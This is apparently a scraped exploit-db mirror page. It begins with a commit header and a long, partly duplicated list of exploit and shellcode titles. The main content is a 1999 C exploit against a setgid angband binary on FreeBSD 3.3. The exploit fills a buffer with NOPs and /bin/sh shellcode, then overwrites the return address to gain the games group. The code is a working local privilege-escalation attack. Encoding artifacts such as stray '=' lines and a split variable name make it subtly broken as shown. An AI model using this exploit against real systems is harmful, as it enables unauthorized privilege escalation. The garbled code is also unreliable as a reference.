exploit-db-mirror/exploits/freebsd/local/19653.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

69 lines
No EOL
1.8 KiB
C

// source: https://www.securityfocus.com/bid/840/info
The version angband shipped with FreeBSD 3.3-RELEASE is vulnerable to a local buffer overflow attack. Since it is setgid games, a compromise of files and directories owned by group games is possible.
/* FreeBSD 3.3 angband exploit yields egid of group games
* usage: gcc -o angames angames.c
/path/to/angband `./angames <offset>`
* overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage
* Brock Tellier <btellier@usa.net>
*/
#include <stdio.h>
char shell[]= /* mudge@lopht.com */
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
=
=
main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */
char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */
char arg[bsize + 2];
int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */
=
if (argv[1]) { =
offset = atoi(argv[1]);
eip = eip + offset;
}
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsiz=
e);
=
for ( x = 0; x < 1021; x++) buf[x] = 0x90;
fprintf(stderr, "NOPs to %d\n", x);
=
for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
fprintf(stderr, "Shellcode to %d\n",x);
=
buf[x++] = eip & 0x000000ff;
buf[x++] = (eip & 0x0000ff00) >> 8;
buf[x++] = (eip & 0x00ff0000) >> 16;
buf[x++] = (eip & 0xff000000) >> 24;
fprintf(stderr, "eip to %d\n",x);
buf[x++] = 'X';
buf[x++] = 'X';
fprintf(stderr, "garbage to %d\n", x);
buf[bsize - 1] = '\0';
sprintf(arg, "-u%s", buf);
arg[bsize + 1] = '\0';
=
printf("%s", arg);
=
}